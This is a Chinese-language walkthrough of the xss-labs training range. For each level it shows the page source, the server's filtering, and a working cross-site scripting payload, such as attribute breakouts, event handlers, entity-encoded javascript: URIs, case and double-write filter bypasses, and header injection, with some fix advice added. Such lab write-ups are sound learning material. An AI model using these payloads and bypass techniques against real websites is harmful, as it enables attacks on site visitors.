xss-labs 通關學習筆記

Mirror王宇陽發表於2020-08-20

xss-labs 學習

By:Mirror王宇陽

time:2020/04/06

level1

我們進入到這個頁面之後,快速關注到幾個點,Xss注重的輸入點,這裡的輸入點首先在URL欄中找到了name值,Payload檢測了該值的長度,所以我們接下來的所有動作都在這個地方進行。

我們翻開原始碼發現

<body>
    <h1 align=center>歡迎來到level1</h1>
    <h2 align=center>歡迎使用者test</h2>
    <center><img src=level1.png></center>
    <h3 align=center>payload的長度:4</h3>
</body>

我們可以對name熟悉做手腳,試構造Payload:

name=<script>alert(/xss/)</script>

修復建議

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>歡迎來到level1</title>
</head>
<body>
<h1 align=center>歡迎來到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎使用者".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

從原始碼中可以看出問題出自$str = $_GET["name"];,將使用者輸入的內容原樣輸出了

$str = htmlspecialchars($_GET["name"] , ENT_QUOTES);

使用 htmlspecialchars函式轉為HTML實體,留意第二個引數不要忘了!後續的許多原始碼與這裡同一個道理,具體的在做解釋!

level2

本題題面看不出區別,但是HTML就有所構造不同了

<body>
<h1 align=center>歡迎來到level2</h1>
<h2 align=center>沒有找到和&lt;&gt;test相關的結果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<>test">
<input type=submit name=submit value="搜尋"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的長度:6</h3></body>

沒錯,後臺使用了函式對<>進行了HTML實體,不過我們也還是發現了一個點!

<input name=keyword  value="<>test">

input輸入點,沒錯後端在搜尋後是保留搜尋的關鍵字內容,所有這就是缺洞!

"><script>alert(1)</script><"

Payload完美的閉合了input標籤

<input name=keyword  value=""><script>alert(1)</script><"">

level3

<body>
<h1 align=center>歡迎來到level3</h1>
<h2 align=center>沒有找到和&lt;&gt;test相關的結果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;&gt;test'>	
<input type=submit name=submit value=搜尋 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的長度:6</h3></body>

這裡將level2的漏給堵上了!我們從&lt;&gt;可以得知後端是利用htmlspecialchars函式轉為HTML實體編碼後輸出的,但我們在level1的時候說了htmlspecialchars存在一種開發手誤,就是後端開發忘記了設定函式的第二引數導致“會轉換雙引號,不轉換單引號

ps:這裡的input標籤中的屬性使用的單引號,所以我們的Payload才可以成功!

' onclick=alert(1) '
<input name=keyword  value='' onclick=alert(1) ''>	

這裡有一點比較有趣,就是onclick這個屬性;我們都知道輸入框輸入之後,保留輸入內容,而我們的onclick就會保留在input標籤中,而觸發條件需要我們單擊輸入框。

level4

發生了一個比較玄學的東西,我們再來瞅瞅HTML原始碼

<body>
<h1 align=center>歡迎來到level4</h1>
<h2 align=center>沒有找到和&lt;&gt;text相關的結果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="text">
<input type=submit name=submit value=搜尋 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的長度:4</h3></body>

<input name=keyword value="text">沒錯,我們輸入的兩個尖括號消失了;而且input標籤採用了雙引號,level3的方法也是行不通的!不過我還是“多此一舉”的使用雙引號

" onclick=alert(1) "

沒想到!成功了!看樣子後端沒有HTML實體編碼!

level5

<body>
<h1 align=center>歡迎來到level5</h1>
<h2 align=center>沒有找到和&lt;script&gt;&lt;/srcipt&gt; ' &quot; test相關的結果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="<scr_ipt></srcipt> ' " test">
<input type=submit name=submit value=搜尋 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的長度:27</h3></body>

綜合了幾個不同的payload特性測試了level5的過濾方式,發現在<h2>標籤使用了HTML實體編碼,在<input>標籤則沒有使用HTML實體編碼而是做了些過濾刪改“ 對script轉為scr_ipt ”,後續測試發現 “onclick =》 o_click”,雙寫、大小寫混合等方式均失敗!

繞過的策略就是避開他拉黑的函式,使用其它的方式觸發!其它事件屬性測試後發現沒有效果,都被加了下劃線隔開了!可見事件觸發式不行的了!

另闢蹊徑~我們……使用a標籤去繞過對scrip標籤的檢查和事件屬性的檢測

"><a href="javascript:alert(/xss/)">alert</a> <"

level6

<body>
<h1 align=center>歡迎來到level6</h1>
<h2 align=center>沒有找到和&lt;script&gt; &lt;a&gt; href \ &quot; '  alert相關的結果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value="<scr_ipt> <a> hr_ef \ " '  alert">
<input type=submit name=submit value=搜尋 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的長度:32</h3></body>

可以發現,對上一關的 href 做了過濾隔開!測了上前五關的payload,然後使用雙寫、大小寫方式繞過:

"><a HREf="javascript:alert(/xss/)">alert</a> <"

level7

<body>
<h1 align=center>歡迎來到level7</h1>
<h2 align=center>沒有找到和&lt;script&gt; &lt;a&gt; href \ &quot; '  alert相關的結果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword  value="<> <a>  \ " '  alert">
<input type=submit name=submit value=搜尋 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的長度:20</h3></body>

這裡可以看出簡單粗暴的處理方式,直接將敏感內容為空了!然後使用雙寫、大小寫方式繞過:

"><a hrehreff="javascripscriptt:alert(/xss/)">alert</a> <"

level6:沒有對輸入變數進行統一小寫/大寫轉換,應該新增strtolower函式統一小寫,便於以下操作:

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

level7:必須注意str_replace函式,該函式只對字串進行一次查詢並全部替換、大小寫敏感;解決方法就是將替換後的字串再一次作為替換源進行替換。

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

level8

可以看出,這裡的輸入內容是一個超連結!

<body>
<h1 align=center>歡迎來到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword  value="&lt;&gt;&lt;script&gt;onclick ' &quot; / alert herf ">
<input type=submit name=submit value=新增友情連結 />
</form>
</center><center><BR><a href="<><scr_ipt>o_nclick ' &quot / alert herf ">友情連結</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的長度:41</h3></body>

第一時間想到了 javascript:alert(xss) ,但是發現 script 被分割了!

通過前輩的思路,學來了編碼繞過…… HTML編碼 >> 照例解析 >> 輸出HTML程式碼(我們輸入的HTML編碼 輸出的則是程式碼,HTML實體編碼在HTML頁面會被解析而在後端看不到)

javascript:alert(/xss/)

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x78;&#x73;&#x73;&#x2f;&#x29;

level9

<body>
<h1 align=center>歡迎來到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x3a;&amp;#x61;&amp;#x6c;&amp;#x65;&amp;#x72;&amp;#x74;&amp;#x28;&amp;#x2f;&amp;#x78;&amp;#x73;&amp;#x73;&amp;#x2f;&amp;#x29;">
<input type=submit name=submit value=新增友情連結 />
</form>
</center><center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center><center><img src=level9.png></center>
<h3 align=center>payload的長度:138</h3></body>

使用level8-payload測試,發現如上!推測後端對我們的輸入內容進行了檢測!

if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情連結</a></center>';
}

後端檢測了字串中是否有“http://”,我們需要在合適的地方插入它:

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;'http://'&#x29;

level10

<body>
<h1 align=center>歡迎來到level10</h1>
<h2 align=center>沒有找到和&lt;&gt;&lt;script&gt; onclick ' &quot; /相關的結果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的長度:24</h3></body>

keyword值被HTML實體編碼了,沒有利用的必要了,也沒有閉合的可能!

關注三個被隱藏的input標籤:?keyword=test&t_link=test&t_history&t_sort=test

只有t_sort這個引數有了效果,構造:

" onclick=alert(/xss/) type="text" ><

?keyword=test&t_sort=" onclick=alert(/xss/) type="text" ><

<input name="t_sort"  value="" onclick=alert(/xss/) type="text" " type="hidden">

ok~~~?

level11

<body>
<h1 align=center>歡迎來到level11</h1>
<h2 align=center>沒有找到和test相關的結果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="&quot; onclick=alert(/xss/) type=&quot;text&quot; &gt;&lt;" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的長度:4</h3></body>

?keyword=test&t_link=test&t_history&t_sort=test

t_sort被HTML實體編碼,雙引號閉合,沒戲了!換一個思路t_ref的引數值是請求包中的Referer

ok~~~?

level12

<body>
<h1 align=center>歡迎來到level12</h1>
<h2 align=center>沒有找到和good job!相關的結果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的長度:9</h3></body>

和level11如出一轍

ok~~~?

level13

<body>
<h1 align=center>歡迎來到level13</h1>
<h2 align=center>沒有找到和good job!相關的結果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的長度:9</h3></body>

ok~~~?

level14

環境出現問題 ~~~ ❓ ”shy014“復現level14關

level15

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>歡迎來到level15</title>
</head>
<h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:1.gif"></span></body>

眨眼一看非常的懵啊!然後仔細觀察了src引數值1.gif 而頁面並沒有成功的載入該圖片;於是我注意到angular.min.js,我不瞭解Angular,所以我查了class="ng-include"AngularJS ng-include 指令 用於包含外部的HTML檔案,包含的內容作為元素的子節點,屬性值可以是一個表示式返回一個檔名;意思就是我們可以利用src包含一個存在xss的頁面(包含level13/12/11沒反應)

src= 'level10.php?t_sort=" onclick=alert(/xss/) type="text" >< '

level16

<body>
<h1 align=center>歡迎來到level16</h1>
<center><><&nbsp;>&nbsp;&nbsp;scrip&nbsp;t&nbsp;"&nbsp;'&nbsp;\</center>
<center><img src=level16.png></center>
<h3 align=center>payload的長度:4</h3></body>

level16.php?keyword=<><script>script scripScrIPtt " ' \

後端過濾了script \ 替換為&nbsp 但是每有過濾尖括號,我們使用img標籤

<img%0asrc=x%0aonerror=alert(1)>

這裡的%0a是換行,之所以不用空格是發現後端還過濾的空格

level17

<body>
<h1 align=center>歡迎來到level17</h1>
<embed src=xsf01.swf?a=&lt;&gt;&lt;scripscriptt&gt; ' &quot; \ () onclick onerror img width=100% heigth=100%><h2 align=center>成功後,<a href=level18.php?arg01=a&arg02=b>點我進入下一關</a></h2>
</body>

level17.php?arg01=a&arg02==<><scripscriptt> ' " \ () onclick onerror img

尖括號、雙引號均被HTML實體編碼;通常是採用閉合的方式xss,但這裡直接把尖括號給斃了!所以就得考慮其它思路。

?arg01=a&arg02=b%0aonmouseover%3dalert(1)

level18

<body>
<h1 align=center>歡迎來到level18</h1>
<embed src=xsf02.swf?a=b width=100% heigth=100%></body>
?arg01=a&arg02=b%0aonmouseover%3dalert(1)

和level19 同一個payload ?

level19/level20

首先修改 的寬高,然後就會全顯示如下:

能力之外的兩關關於flash

level19 level20


END

相關文章